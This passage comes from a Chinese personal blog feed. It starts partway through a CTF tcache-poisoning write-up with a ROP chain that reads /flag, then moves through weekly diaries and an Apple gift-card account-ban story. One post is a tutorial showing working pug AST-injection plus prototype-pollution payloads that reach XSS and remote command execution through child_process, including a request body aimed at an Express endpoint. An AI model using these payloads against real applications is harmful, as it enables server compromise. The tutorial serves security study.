    ], filler = b"\x00"))

 ROPchain
rop(rax=pwn.constants.SYS_open, rdi=stackframe_rewrite + 0xde + 2, rsi=pwn.constants.O_RDONLY)  open
rop.call(rop.find_gadget(["syscall", "ret"]))
rop(rax=pwn.constants.SYS_read, rdi=3, rsi=heap_leak, rdx=0x100)  file descriptor bf ...
rop.call(rop.find_gadget(["syscall", "ret"]))

rop(rax=pwn.constants.SYS_write, rdi=1, rsi=heap_leak, rdx=0x100)  write
rop.call(rop.find_gadget(["syscall", "ret"]))
rop.exit(0x1337)
rop.raw(b"/flag\x00")

EXP调试

由于堆内存布局的原因，地址可能不一样，这里记录某次调试过程：

分配4个chunk

Book的结构如下：

4个chunk的布局

oob

     chunk2 => sz extended
    edit(1, b"K"*0x20)

此时的chunk2大小已经被修改了

tcache poisoning

此时 tcache3 的 next 指针已经被修改了

任意地址写

利用 tcache poisioning 修改 books 的结构，布局如下，至此 tcache poisoning 的利用就完成了

参考 how2heap/tcache_poisoning.c at master · shellphish/how2heap · GitHub

周报6 生活、句子、写作

Mon, 12 Jun 2023 00:00:00 GMT

周报6 生活、句子、写作

生活

这里记录的是raye在2023年，6.8-6.12这段时间的生活与记录

回信

蓝信封终于等到了回信啦~, 在一个周日的下午，阳光透过窗帘，打在雪白的桌子上，我正听着舒缓的歌曲，慢慢提起笔，写下对远方小孩的祝福

surge

最近又开始重新折腾起surge来了，顺便研究了下如何破解看天下杂志的会员，折腾过程写在这里了，欢迎给个点赞

https://www.52pojie.cn/forum.php?mod=viewthread&tid=1796217&page=1pid46966807

pwn

https://xz.aliyun.com/t/12600

深入研究了一道 tcache 缓存投毒的题目，解题及思考过程都记录在这篇文章啦

英文写作

第一次尝试英文写作，虽然有些磕磕绊绊，但终于完成了，开始慢慢积累medium的follow，希望看到的朋友支持下~

https://rayepeng.medium.com/how-ast-injection-and-prototype-pollution-ignite-threats-abb165164a68

句子

云淡风轻近午天，傍花随柳过前川。时人不识余心乐，将谓偷闲学少年。 —— 又是一句很喜欢的诗

可能很多事就算是这样，在怔怔地看着一个既定结果时恍然，原来它一直在发生，只是自己没注意到

—— 有点丧的一句话

胡言乱语

论原生家庭

我觉得不应该叫原生家庭我，应该叫原生环境不是你过去的家庭决定了你而是你过去的环境决定了你

深圳的雨

不知为何，深圳的雨总是让人捉摸不定比脾气最差的女朋友还难以把握此刻我站在街道上，被雨打湿的头发，一滴水落下来

《无声告白》

我们终此一生，就是要摆脱他人的期待，找到真正的自己

《可爱的诅咒》

在我们小时候，对大人的愤怒感到恐惧，也对自己得不到爱感到恐惧，但我们又依赖于照顾我们的大人，面对他们的愤怒，我们几乎什么也做不了，唯一能控制的就是自己的行为，于是我们选择了遵守那些不合理的规则来保护自己。

恐惧的记忆会留在我们大脑中一个叫杏仁体的部位，它是人脑的恐惧记忆中枢。当我们再遇到相似的情况时，杏仁体就会产生应激反应，让我们本能地去选择曾经的处理方式。

杏仁体并没有什么时间概念，它不知道我们已经长大了，所以在感到恐惧的时候，我们的大脑基本处在一个孩子的状态，所以我们会本能地选择顺从，这就是可爱的诅咒难以打破的原因。

论眼高手低

大多数人高估了一年内他们能做的事，低估了十年内他们能做的事。

很多时候，自己往往就会因为那么几十分钟被浪费了然后焦虑不已其实，真正的坚持在于十年之期不要焦虑于打翻的牛奶，随时准备后重新开始

interesting things

最近也开始经营起自己的 tg 频道了，日常分享一些文章及经验，欢迎 subscribe

https://t.me/+4G9ohagz0iE1N2Q1

https://vickieli.medium.com/hacking-llms-with-prompt-injections-6a5ebffb182b 这篇讲解LLM prompt injection的文章写的确实很棒，担当的起深入浅出这四个字
https://github.com/kilimchoi/engineering-blogs 这个项目收录了一些互联网大公司的博客
https://medium.com/@neonforge/my-most-favourite-midjourney-prompts-and-images-works-best-with-midjourney-v5-63e86b125bba 这个文章的MJ Prompt都很不错，还是要多多研究下mj的绘图技巧

周报5 写作、生活

Wed, 07 Jun 2023 00:00:00 GMT

周报5 写作、生活

这里记录的是raye在2023年，5.7-6.7这段时间的记录与思考。

大概有好几两周没写自己的记录了，这其中也发生了很多事情，有些事情不便公开发出来，那我先把能发的都发了吧哈哈哈哈

写作

这周在自己的坚持不懈下，终于完成了两篇技术文章，不过还没有完全打磨完毕，我越来越觉得还得是给自己去设限，主动去逼迫自己，才能去客服拖延症。。

比如我发现在自己要分享之前，如果文稿还没准备完，就会强迫自己努力去准备，而且思维特别灵活，能想尽一切办法

其实拖延症无非几个问题：

不敢开始，总是在想
完美强迫症，一定要做到某个完美的程度
经常忘记

背后其实是三个根本性的问题：

畏惧
强迫
遗忘

于是我开始这样给自己规定，

把写作用的app（我最近在用的ulysses）放到最容易碰到的位置，并且禁止自己经常打开wechat或者其他消遣工具
设立期限，假设两小时后我就要给别人讲这件事，我能不能讲清楚
用ticktick提醒自己，并且直接把ticktick放在手机底部的dock栏

只要去改变，收获就是免不了的。我也很开心终于能解决这个顽疾了。不过还是那句话，贵在坚持

胡言乱语

初次之外，最近也有很多随笔类的感想，或者是触景生情，或者是偶然采撷，又或者是梦中所得，于是统统用备忘录记录下来，仿佛像个小孩在抓蝴蝶一样。当我回顾的时候，仿佛捕捉到了历史的空隙

论流氓

现在人是该流氓的时候不流氓，不该流氓的时候，“流氓”痞性暴露，面目可憎

现代人的流氓痞性，乃事后流氓，明知自己已经痛失，无法弥补，还强赖，想通过耍流氓来获得，如泼妇骂街，如地上打滚

我想学刘邦做一个真正的流氓

何谓，真正的流氓？

昔者，吕公开宴，名流云集。我敢道贺钱万，直入上位，吃喝谈笑间，面无愧色

敢在大场面耍流氓，言谈间了无痕迹，这才是真正的流氓

所谓魏晋风度，实乃高祖遗风而已

没来由的焦虑

深夜学习，有些焦虑，反思了下

比如我刷b站，我发现我就不会焦虑，这是为什么？因为这是一个安全地带吗

但是当我去学习的时候，我就会总是操心这个或者那个没有做完的，你不觉得奇怪吗。其实明明上床前就已经点清了自己要做的事情，后面只需要安心地去学习即可。

这种感觉就是很奇怪对不对，你也说不出来，但是这是错误的，需要改正的

一定要让一个你不熟悉的领域变成你的舒适区

笑怼

节选自《世说新语》

王笑曰：‘卿辈意，亦复可败邪？'” —— 你一来，我们的兴致都被败坏了

微信和米聊

最近读到了一段雷军的思考

当时小米刚刚成立，按照“硬件+软件+互联网”的“铁人三项1.0”模式，在做手机系统、筹备手机硬件团队的同时，小米在国内率先启动基于智能手机的即时消息项目“米聊”，一度获得显著的先发优势。当时我有个判断，如果腾讯在一年之内没有反应，米聊将有50%的胜算；如果半年之内有反应，米聊基本没机会。但结果，腾讯在一个月内就做出了反应，腾讯广研院迅速推出了微信，并获得了腾讯集团力量的大力支持。凭借千万人同时在线的高并发后端技术沉淀和在社交关系链方面的优势，加上公司体量等综合资源的巨大优势，微信逐渐实现了对米聊的赶超。小米作为一家初创小公司，无法同时支撑移动互联网即时消息和智能手机这两个千亿美元级市场的投入，于是我们放弃了米聊，把全部精力都投入智能手机领域。

我们一直只在谈论微信对米聊的赶超，却从来没有谈论过，雷军对米聊的主动放弃

所以这也解释了，为什么大部分人都无法从历史中学到经验教训。因为大家看到的都是成功者，都是幸存者，却从来没有想过“失败者”的抉择。

“失败者”的抉择，往往是最重要的

论教育

最近读《世说新语》，学魏晋风度

深感我们的教育现在太过严肃了，没有微笑

你看看古人，一个个癫狂不羁，若要按照现在的教育评价体系，准保是一个天天被老师白眼+请家长的角，同学们也会刻意远离他

仅仅因为不合时宜，就要被孤立，就要被白眼，就要被无情嘲讽，怪不得郑渊洁要把栏杆拍遍，无情揭露教育的罪恶。中国人不仅在“性”的联想上跳跃程度大，连贬损，毁灭一个人也是如此迅速

《蒋公的面子》

观后随笔（本来写的“观后感”这三个字，但是我很反感，我喜欢用“随笔“这两个字）

人生处世，无外乎出世与入世之间，亦或居于二者之间，谁都不得罪。是成为御用文人，是选择魏晋风度，或愤而抗争到底，却最终都在时代的裹挟中身不由己。可我们能怪他们吗，换作我们自己又有谁能做的更好呢？我们不是耐不住苏武牧羊得寂寞，亦非选择丹心垂青史的文天祥，更不是敢于为变法流血牺牲的谭嗣同。我们终究只是历史中的小人物，在时代的推推搡搡中迎来自身平平无奇的结局

历史“天命”的思考

我随便敲点想法，最近看渤海小吏的视频，以及他对中国历史抽丝剥茧的解读，觉得有时候冥冥之中真的自有天命

比如，同样是在汉中，历史上只有韩信一人能做到还定三秦，到了三国时期，武都大地震导致汉水上游改道，丞相北伐运粮门槛大大提高，最终星落五丈原当我看完小吏这集的时候，真心感觉到历史仿佛真有一个天命所在，汉家的天下兴起于汉水，汉水中断，龙脉也断了，真是天要亡汉的感觉

（类似这种还挺多的，当我真正跟着小吏的脚步去回味的时候，很多时候都会有这种感慨

真正的送别

其实真正的送别没有长亭古道，没有劝君更尽一杯酒，就是在一个和平时一样的清晨，有些人留在昨天了。

生活

6.3 夜游深圳湾

interesting things

最近也开始经营起自己的 tg 频道了，日常分享一些文章及经验，欢迎 subscribe

https://t.me/+4G9ohagz0iE1N2Q1

https://link.medium.com/klyhSFNxoAb 这篇讲LLM Prompt Injection安全问题的，拆解的很详细
https://medium.com/@arrheniuspaelongan09/my-first-bug-bounty-reward-100-in-5-min-1117d727dc2b 讲述作者发现的第一个安全漏洞

AST Injection + Prototype pollution to RCE

Sun, 04 Jun 2023 00:00:00 GMT

AST Injection + Prototype pollution to RCE

模版引擎是什么

JS web开发中常用的模版引擎如 ejs、pug、handlebars 功能：动态渲染HTML代码，创建可重复使用的页面结构

ejs 模版使用

// 安装EJS模块：npm install ejs

// 引入EJS模块
const ejs = require('ejs');

// 定义模板
const template = `
  <h1>Hello, <%= name %>!</h1>
`;

// 渲染模板
const data = { name: 'John' };
const html = ejs.render(template, data);

console.log(html);

handlebars 模版使用

// 安装Handlebars模块：npm install handlebars

// 引入Handlebars模块
const handlebars = require('handlebars');

// 定义模板
const template = `
  <h1>Hello, {{name}}!</h1>
`;

// 编译模板
const compiledTemplate = handlebars.compile(template);

// 渲染模板
const data = { name: 'John' };
const html = compiledTemplate(data);

console.log(html);

pug 模版使用

// 安装Pug模块：npm install pug

// 引入Pug模块
const pug = require('pug');

// 定义模板
const template = `
  h1 Hello, {name}!
`;

// 编译模板
const compiledTemplate = pug.compile(template);

// 渲染模板
const data = { name: 'John' };
const html = compiledTemplate(data);

console.log(html);

模版引擎的工作原理

词法解析 -> 语法解析 -> 代码生成

但是在语法树处理的过程中，如果存在原型链污染，则可以随意修改AST树，进而影响生成的代码，最终达到RCE（远程代码执行）的目的

pug template AST injection

const pug = require('pug');

Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

console.log(html); // <h1>It works<script>alert(origin)</script></h1>

当执行到 fn({msg: 'It works'}); 这一步的时候，本质上是进入了一段函数

(function anonymous(pug
) {
function template(locals) {var pug_html = "", pug_mixins = {}, pug_interp;var pug_debug_filename, pug_debug_line;try {;
    var locals_for_with = (locals || {});
    
    (function (msg) {
      ;pug_debug_line = 1;
pug_html = pug_html + "\u003Ch1\u003E";
;pug_debug_line = 1;
pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp)) + "\u003Cscript\u003Ealert(origin)\u003C\u002Fscript\u003E\u003C\u002Fh1\u003E";
    }.call(this, "msg" in locals_for_with ?
        locals_for_with.msg :
        typeof msg !== 'undefined' ? msg : undefined));
    ;} catch (err) {pug.rethrow(err, pug_debug_filename, pug_debug_line);};return pug_html;}
return template;
})

AST Injection原理分析

语法树结构

pug 解析 h1= msg ，生成的语法树结构：

{
    "type":"Block",
    "nodes":[
        {
            "type":"Tag",
            "name":"h1",
            "selfClosing":false,
            "block":{
                "type":"Block",
                "nodes":[
                    {
                        "type":"Code",
                        "val":"msg",
                        "buffer":true,
                        "mustEscape":true,
                        "isInline":true,
                        "line":1,
                        "column":3
                    }
                ],
                "line":1
            },
            "attrs":[

            ],
            "attributeBlocks":[

            ],
            "isInline":false,
            "line":1,
            "column":1
        }
    ],
    "line":0
}

语法树生成后，会调用 walkAst 执行语法树的解析过程，依次对每个节点的类型进行判断，即如下代码：

function walkAST(ast, before, after, options){
	
	parents.unshift(ast);

    switch (ast.type) {
	    case 'NamedBlock':
	    case 'Block':
	      ast.nodes = walkAndMergeNodes(ast.nodes);
	      break;
	    case 'Case':
	    case 'Filter':
	    case 'Mixin':
	    case 'Tag':
	    case 'InterpolatedTag':
	    case 'When':
	    case 'Code':
	    case 'While':
	      if (ast.block) { // 注意这里
	        ast.block = walkAST(ast.block, before, after, options);
	      }
	      break;
	    case 'Text':
	      break;
	}
	parents.shift();

}

语法树执行顺序以刚刚生成的语法树结构举例，解析顺序为：

Block
Tag
Block
Code
…?

注意第4步解析 node.Type 为 Code 类型，会执行如下代码：

	    case 'Code':
	    case 'While':
	      if (ast.block) { // 注意这里
	        ast.block = walkAST(ast.block, before, after, options);
	      }

判断 ast.block 属性是否存在，此处的 ast 即当前ast语法树的节点
如果存在，继续递归解析 block

结合原型链污染

如果某处存在原型链污染漏洞，使得

Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};

那么 ast.block 就会访问到 ast.__proto__.block ，即Object.prototype.block 的属性

此时代码输出结果，导致了XSS

const pug = require('pug');

Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

console.log(html); // <h1>It works<script>alert(origin)</script></h1>

RCE

我们知道pug本质上是将一段代码，如 h1 =msg 编译为一段js代码，背后其实就是生成语法树+ new Function

因此如果能通过AST Injection插入节点，并使之成为代码，即可达到远程代码执行的目的。

刚好pug中就有如下代码：

// /node_modules/pug-code-gen/index.js
  
if (debug && node.debug !== false && node.type !== 'Block') {  
    if (node.line) {  
        var js = ';pug_debug_line = ' + node.line;  
        if (node.filename)  
            js += ';pug_debug_filename = ' + stringify(node.filename);  
        this.buf.push(js + ';');  
    }  
}

那么我们通过 AST Injection + Prototype Pollution 即可实现RCE

const pug = require('pug');

Object.prototype.block = {"type":"Text","line":`console.log(process.mainModule.require('child_process').execSync('id').toString())`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

console.log(html);

Attack example

express 开发的web服务，其中一个CGI如下：

router.post('/api/submit', (req, res) => {
    const { song } = unflatten(req.body);

	if (song.name.includes('Not Polluting with the boys') || song.name.includes('ASTa la vista baby') || song.name.includes('The Galactic Rhymes') || song.name.includes('The Goose went wild')) {
		return res.json({
			'response': pug.compile('span Hello {user}, thank you for letting us know!')({ user:'guest' })
		});
	} else {
		return res.json({
			'response': 'Please provide us with the name of an existing song.'
		});
	}
});

本地跑起来后运行在1337端口：

原型链污染

注意到这一行代码：

const { song } = unflatten(req.body);

unflatten 这个库存在原型链污染

var unflatten = require('flat').unflatten;
unflatten({ '__proto__.polluted': true });
console.log(this.polluted); // true

AST Injection

注意到这一行代码：

pug.compile('span Hello {user}, thank you for letting us know!')({ user:'guest' })

结合原型链污染，可以实现RCE

{
       "song.name": "The Goose went wild", 
        "__proto__.block":{
            "type":"Text",
			"line":"process.mainModule.require('child_process').exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')" // 可以执行任意命令
		}
}

参考 https://blog.p6.is/AST-Injection/

支付宝购买的礼品卡可能有问题，充值chatGPT plus的同学请小心！

Thu, 01 Jun 2023 00:00:00 GMT

支付宝购买的礼品卡可能有问题，充值chatGPT plus的同学请小心！

TL，DR：首先承认这个有点标题党，不过我也确实被支付宝骗了，付出的代价就是用了很久的美区Apple账号被永久封禁，礼品卡中的钱无法退回，以及所有通过美区id下载的app均需要重新下载，无法更新。幸好该美区id绑定的服务不多，不然就凉凉了

如果还想通过支付宝购买礼品卡充值chatGPT plus的同学慎之又慎，已经支付宝充值了礼品卡的同学后续再用礼品卡消费遇到问题一定不要去找客服，不然很有可能面临和我相同的经历，账号里剩余的钱能用掉最好，最好是建议重新注册美区Apple id，走官网买礼品卡的方式开通/续费

账号被封经过

首先解释下Apple的账号，可以分为两类，

一类是登录系统的账号，即设置界面你登录的账号，一般会选择国内的Apple id登录
另一类是用于订阅、购买app的账号，即App Store登录的账号，同时Apple Music、Apple tv、Apple News、Apple Arcade等订阅服务也会共享App Store账号（也就是我此次被封的账号）

第一次联系客服

起因是我想消费下从支付宝充值的礼品卡余额，于是接收到了提示，付款不成功，让我联系客服

这时候联系客服，客服说帮你恢复了下，24小时之后尝试

第二次联系客服

后来到下午，我又看了下，发现这时候自己的账号已经被 disabled了，

再次找客服联系，客服说你的账号已经被封禁了，违反了如下条款，接着就发了我一个Apple的条款链接…

我说那你告诉我到底违反了哪条？

客服回复他看不到，事实上这个账号他的权限无法查询到。

我继续追问那请你找有权限能查看的人来操作，like advanced customer service

于是客服给我联系了高级客服，问了我所在地时区和手机号，接着等高级客服电话

联系高级客服

接电话的是个外国小哥，首先确定我能不能说英语/😂，听口音其实有点像印度小哥

我首先还是很礼貌的，询问自己的Apple account 为什么会被 disabled

然后客服说我帮你查下，wait 1~2 minutes

结果查完后，客服一直说，Unfortunately, xxxxxx, xxxxxxx, gift card （记不住了大概就这些）

果然是礼品卡的问题，虽然有个单词我没听清。

我后面argue了半天， I didn't realize balabala ，结果回复就是不行…

最后我索性直接问了 lots of people have bought gift card from Ali Pay, You mean all of their account will be disabled?

客服回： i can't answer the question..

后面我想再上升，询问有没有更高级的客服，客服说我帮你去找，让我等

但是等了很久也没有回音，索性挂断了…

支付宝的购买界面

这时候我回头看支付宝的礼品卡购买界面时，发现人家早就明牌了，责任撇的一干二净…

后来发现 v2ex 上早已有相关的讨论

[https://www.v2ex.com/t/941721]

也有一些相关帖子，底下的评论也有在说找客服账号被封的经历

[https://v2ex.com/t/941327 ] [https://www.v2ex.com/t/941147]

为什么礼品卡会有问题？

虽然很多人都说第三方购买礼品卡会有问题，balabala的，但是都没说清楚为什么会存在问题，于是问问了chatGPT，总结了下：

信用卡被盗/欺诈 -> 被用于大量购买礼品卡 -> 第三方售卖 -> 被盗/欺诈行为被发现 -> 信用卡公司追查 -> 被非法购买的礼品卡会被冻结/作废

我很好奇，难道信用卡公司能查的这么精细吗，每一笔钱的流向都一清二楚？

chatGPT: 当信用卡被非法使用购买礼品卡时，信用卡公司和相关执法机构可能会尝试追踪这些非法交易。这可能包括查看交易记录、网络IP地址、电子设备信息等，以找到可能的线索。然而，这个过程可能非常复杂，也可能有时无法追踪到犯罪者。而且，一旦这些礼品卡被使用或者销售给其他人，就更难追踪了。因此，虽然有可能追踪这些非法购买的礼品卡，但并不总是成功。

如果不小心购买并消费了有问题的礼品卡，算违法吗？

那如果购买的礼品卡有问题，在我不知情的情况下，算违法吗？

chatGPT: 在大多数司法管辖区，只有在知道或有理由应该知道礼品卡是非法获取的情况下购买这些卡，才会构成违法行为。这被称为"有罪意"或"有过错"的购买。

然而，即使你无意中购买了非法获取的礼品卡，你仍然可能会面临一些问题。首先，这些卡可能会被冻结或作废，这意味着你可能无法使用这些卡。其次，如果这些卡被冻结或作废，你可能很难或者无法从卖家那里得到退款。此外，如果执法机构在调查这种非法活动时发现你购买了这些卡，他们可能会联系你进行询问。

因此，为了避免这些问题，最好的策略是只从苹果或者其官方授权的零售商处购买礼品卡。如果你不小心购买了非法获取的礼品卡，你应该立即向执法机构和信用卡公司报告这种情况，并尽可能提供有关卖家的信息。

tips 一些经验

Apple客服联系

我搜索看到很多关于Apple Store问题解决的办法都是寻找客服，但是这些文章又有一个共同点，那就是不告诉你怎么去联系...

AppStore搜索下载 support 或者支持 app（我系统为英文,，所以app名字为support）

或者访问如下链接，跳转到App Store打开 [https://apps.apple.com/hk/app/apple-%E6%94%AF%E6%8F%B4/id1130498044]

接下来在app界面中往下翻选择有App Store图标的按钮，直接输入你查询的问题，我一般是直接输入 I can't pay

这时，就会有一个 chat的按钮，点一下就能进入人工客服排队了（Apple的人工客服响应还是很快的）

转高级客服

上文联系到的客服还只是普通客服，很多时候权限不够，如果还想继续上升的话，告诉他你想联系 senior advisor，告诉客服你在中国，手机号是 (+86) xxxxx 即可，客服会和你预约时间的（一般久十几分钟之后），接下来就准备好全英文对话吧！

官网如何购买Apple 礼品卡既然吸取了血的教训，再也不从第三方渠道（支付宝、淘宝）购买礼品卡了，那么如何从官网购买礼品卡呢？

访问：[https://www.apple.com/shop/gift-cards]

选择金额，最后一个框是可以输入购买金额的
发送人和接受人可以都填自己的同一个邮箱
支付方式可以选择visa卡/虚拟信用卡/银联（不过我只尝试了虚拟信用卡成功了）
一般十几分钟内，邮箱就能接收到兑换码，如图

虚拟信用卡

虽然我很早前就注册了depay账号，但是也没有开卡，更懒得去折腾充值usdt，结果没想到depay已经禁止注册开户了。

但是同事亲测，depay的卡可以来绑定美区Apple id的payment，这样就可以绕开openAI的风控（当然如果Apple也风控的话，可以尝试去注册美区PayPal）

虽然depay停止注册了，但是还有其他的虚拟信用卡可以代替，比如我尝试的nobepay，[https://www.nobepay.com/] 支持微信支付直接转账，不需要搞区块链之类的，但是有几个坑点

第一次充值必须是500以上
开一张卡的费用是1美刀
退款贼麻烦

本着人人为我，我为人人的思想，最开始尝试了一波，开了一张卡，但无法通过openAI的校验，尝试绑定Apple payment支付，也失败了...都计划着这点钱就洒洒水吧，结果过了没多久又可以绑定Apple payment了（估计是过了风控期吧）

一点思考

后面同我妈讨论这个事情，她第一反应是你不要被骗了，不要转账啥的。我开始还觉得她有点过分担心了，但是仔细一想，我所经历的这些步骤，中间其实存在很多的问题。哪一步有跟同事/朋友/家人联系过？在其他同事眼中你可能就是接了几个电话，操作了几下手机。幸好我平常对于Apple的服务使用的比较多，相关流程也还算清楚。若是其中有不怀好意的人，故意诱导你，那我会不会为了解封自己的苹果账号而陷入电信诈骗呢，这样往下想着，惊出了一身冷汗，原来电信诈骗真的离我们不远。

有几个教训吧，也分享下：

涉及到钱的事情一定不要嫌麻烦，没有一劳永逸的办法
平台的权力真的太强了….数字时代，订阅时代，吾等小民瑟瑟发抖
看别人的经验贴，底下的评论一定要细看，如果我很早看到那条评论的话…或许账号也不会封的那么快

周报4 泰国、写信、阅读、Midjourney

Tue, 09 May 2023 00:00:00 GMT

周报4 泰国、写信、阅读、Midjourney

这里记录的是raye在2023年，4.26-5.7这段时间的记录与故事。

封面图 via Midjourney

已经有一大段时间没动笔写了，好多想法在脑海里盘旋，总得找个宣泄的出口。每当我想要记录的时候，总会因为各种原因耽搁，但等我真正落笔，时间早已冲刷掉了大半的记忆，只能让我费力地搜刮半天，写出一些零乱的词句，最后拼凑出来。后面计划修改一下思路，改为平常多多记录，最后只需要做总结润色的工作。

泰国之旅

4.26 飞曼谷，4.29飞普吉岛，5.4回深圳

4.29日在曼谷飞往普吉的飞机上，无意中瞥到自己在地图上的定位，一是感慨自己在地球上的位置终于有了变化，二来会感觉到自己真的好渺小。“寄蜉蝣于天地，渺沧海之一粟”

去泰国的起因在之前的文章中有提到，当我在返程的飞机上重温《斑马》时，才知读万卷书，行万里路的这句话背后的分量：

摩的、tutu车、芒果、辣椒、椰奶、热气，按摩店，傅真笔下的曼谷，若只停留在纸面的理解上，是无法真正读懂这些文字的。中学时代，常常有各种各样的阅读理解题，让我们体会作者的心境，亦或是联系实际作答。那个时候碍于生活阅历和情商，我无法理解老师或者标准层答案中那些模糊概念，依我看，语文课的教学，如果只限于课堂上老师口干舌燥，连篇累牍的讲解，那真无异于填鸭式教学。只有真正走进作者笔下的那个世界，才能体会其中所蕴含的感情。

当我下飞机后坐在的士上，两旁的景物飞速掠过，我惊叹于曼谷的摩天大楼和深圳不遑上下，却也感叹曼谷的棚户区苍老破旧。

考山路上的酒吧歌声震耳欲聋，当我们离开很远之后依然能听到传来的歌。

我们穿行于错乱的街道中，时不时在狭窄的道路上避让来往的人，只为了品尝一口曼谷地道的船面

不过，最令人印象深刻的，还是曼谷那拥挤的交通，和肆无忌惮的穿梭在车辆中的摩的与一骑绝尘的tutu车

相反，泰国的特色按摩massage（马杀鸡）反倒不是让我很满意，基本每隔两天或者一天就会做一次，力道确实很大，有几次我实在是忍不住，疼的喊了出来。我很困惑为啥非要往硬的骨头上用力，有一种让我得了骨质疏松的错觉

当然，红灯区也是少不了逛一逛的，著名的 nana plazz怎么能错过，不过顶多也就是绕了几圈，观赏下不知道是舞女还是人妖的曼妙身姿（不让拍照的）

普吉岛的行程则并没有太多特色，逛夜市、出海、沙滩、日落、斯米兰群岛、丛林穿越，它更像是一个任何小岛都有的旅游项目，我们也是在淘宝或者飞猪上去寻找旅游团，跟着出游的。

不过斯米兰群岛的景色着实让我惊讶，太美了！

写信

我很早就报名参加了蓝信封这个公益活动，但是它的报名机制让我很想吐槽。报名之后需要预约观看直播，获得直播答题口令，回答30个选择题+2道开放题，通过审核后才能获得资格和小孩子们通信。我在这个环节就卡了很久，因为直播口令的选择是和你预约的直播场次相关，而预约这个操作经常性失败，导致我看了直播，但因为没有预约上看直播，所以直播口令不对….

好在还是折腾了很久后通过了审核，也很开心的收到了一个小男孩的信，分享了自己的校园生活，也像我倾诉了月考不理想的苦恼。奈何我是在五一度假期间收到的来信，且必须要在7天内回复+满600字。于是在普吉岛的酒店，可以远眺大海的窗户边，我开始写回信，分享了自己的一些爱好，鼓励小男孩不要因为短暂的失败而苦恼，给了他一些我认为可可行的建议（毕竟我已经初中毕业好久了），也算是第一次在如此奇妙的环境中写下了第一封回信

阅读

人在泰国玩，但大部分时间会在车上、飞机上、床上，碎片化的时间刚好可以用来阅读。碰巧书友向我推荐了马亲王最近的一本新书《大医》，分上下两本，《大医·破晓》和《大医·日出》。如果要概括下内容，我觉得一句话足矣：从医生的视角看中国近代史

首先确实佩服马亲王写历史小说的水平，主角团也是经典的三人团，2男一女，以及围绕在主角团周边的人物，他们或是以历史人物的身份登场，或是某一群人的代表。而且亲王特别喜欢埋伏笔，那伏笔埋的，真的是草蛇灰线，甚至每一小节的故事都可以当做一个侦探故事来推理揣摩。

暂时还没写完这本书的随笔，等我后续发出来吧~

Midjourney

最近开始学习使用mj来画图，不能错过AIGC的大潮。

先放几个自认为觉得还不错的AI作品：(虽然我并非肥宅，但是二次元的女性都好好看啊）

一些目前总结到的要点如下：

尽量不要使用模糊的词语：我最开始用GPT4来帮忙辅助描述，结果文本中出现了诸如“优雅地漫步”，“郁郁葱葱的树木”这类字眼，AI很难理解的
绘画风格：目前使用了比如“Japanese manga style”(日漫风格），”Chinese ancient style”(中国古典风格）,””
绘画参数：网上的资料还挺多，mj有很多神奇的功能可以探索，如平铺，sketch风格，我先参考了这篇 Midjourney prompts 使用详解，命令、参数介绍 - 哔哩哔哩 (bilibili.com)
控制角色一致性的办法：如果有中意的角色动作，则可以复制图像链接，并放到prompt最前面来实现。另还有seed微调、神奇的提示词等方法

句子

要怎样对一粒尘埃解释风暴呢？即使那尘埃置身于大时代的烈风之中，也无法明白这撕裂一切的力量从何而来。

—— 摘自《大医·破晓》

纱窗外，斜风细雨，一阵轻寒

—— 《八声甘州》

interesting things

最近也开始经营起自己的tg频道了，日常分享一些文章及经验，欢迎subscribe

https://t.me/+4G9ohagz0iE1N2Q1

https://www.bilibili.com/read/cv20992052 感觉是一套学习next.js 和 react 的非常棒的教程！
https://mp.weixin.qq.com/s/nyqVaXQOVlFcFWJOfPuOCQ 分析腾讯游戏的，目前从我狭隘的角度看，确实讲的很有道理
https://snappify.com/editor 原来这里可以生成代码的图片，太棒了

类似这样的风格

周报3 羽毛球、开源、阅读、游戏

Sat, 22 Apr 2023 00:00:00 GMT

周报3 羽毛球、开源、阅读、游戏

这里记录的是raye在2023年，4.14~4.20这段时间的经历与故事。

封面图是AI画的

因为会经常假装性忘记自己要坚持写周记的事情，劳形于工作之中，也习惯了去找很多的借口来逃避。但不管这些理由是多么冠冕堂皇，我总还是愿意去记录一些。也许是看到xlog上有越来越多的人关注自己会觉得很开心，抑或品读到一段优美的文字会忍不住想要去记录下来，然后希望更多的人能够在忙碌的生活中收获一点点宁静~

羽毛球

我的拍又双叒叕断线了，回忆起来这次可能还不到一个月，跟球友交流的时候他说自己用的是李宁N61的线+26磅，断线频率大概在两周一次。当他听到我用BG65的线+24磅一个月断一次也是很惊讶哈哈哈哈😂，可能真的是我打的频次太多了吧，拍线承受了太多。

不过最近一周打球的球感逐渐在上升，主要是指单打，毕竟单打双打是两个游戏。我因为没有上过教练课，野球打的多，很多姿势、技巧都是旁观或者被大佬虐出来的。这样子入门其实很容易导致姿势不对且打出去的球没感觉，不过随着我打的越来越多，我终于体会到，原来击球的时候球拍，球头是要在你的左侧前方的（我是左撇子）。怎么这么简单的知识我才明白！！

自从意识到这一点之后，突然发现我的每个球，只要不是太被动，终于能回到一个比较高远的位置，杀球也变得更有力量了哈哈哈哈，而且随着体力逐渐变好，连续单打也不成问题（旗鼓相当的对手/doge)

开源

惭愧，最近一周以来，又没怎么逛GitHub，参与开源工作了。反思了下可能是以下几个原因

前两天睡眠一直不好，导致下班后经常没有精力
太沉迷羽毛球了 /doge

阅读

这一周看完了浮生六记 · 闺房记乐，且摘抄出了很多优美的文字，不过我还没来得及去一一品读完，暂且记录在这里：

浮生六记——闺房记乐 - raye~ (xlog.app)

游戏

我的世界：传奇这部我期待很久的作品终于上线了，虽然看评测分数并不算高，但还是抱着想体验的态度去玩了玩，等我细细体验下来写写自己的感受

AI画图

虽然还一直没有去玩mj，不过看着同事们都在玩这个也是心有点痒痒，除了封面图之外，最近收集了几张我挺喜欢的图~

虽然我不是肥宅，但是古风二次元的图也太好看了吧！

这张也好美，有一种红杏枝头春意闹的美感

这张简直可以直接用作游戏地图了哈哈哈

浮生六记——闺房记乐

Wed, 19 Apr 2023 00:00:00 GMT

浮生六记——闺房记乐

封面图 via AI

